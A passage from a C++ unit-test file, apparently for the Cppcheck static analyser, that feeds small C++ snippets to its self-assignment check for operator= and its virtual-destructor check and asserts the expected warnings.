checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this class needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { if (&a != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a == this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) == true)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) != false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (!((&a == this) == false))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a != this) == false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" free(s);\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n\n // this test needs an assignment test but doesn’t have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // ticket #1224\n checkOpertorEqToSelf(\n \"const SubTree &SubTree::operator= (const SubTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(*b.tree);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"const SubTree &SubTree::operator= (const CodeTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(b);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void operatorEqToSelf2() {\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { if (&b != this) { } return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { if (&b != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"[test.cpp:11:14]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf3() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf4() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf5() {\n // ticket # 1233\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"struct A {\\n\"\n \" char *s;\\n\"\n \" A& operator=(const B &b);\\n\"\n \"};\\n\"\n \"A& A::operator=(const B &b) {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf6() {\n // ticket # 1550\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf7() {\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & assign(const A & a)\\n\"\n \" {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" return assign(a);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf8() {\n checkOpertorEqToSelf(\n \"class FMat\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" FMat& copy(const FMat& rhs);\\n\"\n \" FMat& operator=(const FMat& in);\\n\"\n \"};\\n\"\n \"FMat& FMat::copy(const FMat& rhs)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"FMat& FMat::operator=(const FMat& in)\\n\"\n \"{\\n\"\n \" return copy(in);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf9() {\n checkOpertorEqToSelf(\n \"class Foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Foo& operator=(Foo* pOther);\\n\"\n \" Foo& operator=(Foo& other);\\n\"\n \"};\\n\"\n \"Foo& Foo::operator=(Foo* pOther)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"Foo& Foo::operator=(Foo& other)\\n\"\n \"{\\n\"\n \" return Foo::operator=(&other);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n struct CheckVirtualDestructorOptions\n {\n CheckVirtualDestructorOptions() = default;\n bool inconclusive = false;\n };\n\n // Check that base classes have virtual destructors\n#define checkVirtualDestructor(...) checkVirtualDestructor_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualDestructor_(const char* file, int line, const char (&code)[size], const CheckVirtualDestructorOptions& options = make_default_obj()) {\n const Settings s = settingsBuilder(settings0).certainty(Certainty::inconclusive, options.inconclusive).severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &s, this);\n checkClass.virtualDestructor();\n }\n\n void virtualDestructor1() {\n // Base class not found\n\n checkVirtualDestructor(\"class Derived : public Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Derived : Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructor2() {\n // Base class doesn't have a destructor\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : private Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9104\n checkVirtualDestructor(\"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"using namespace std;\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n 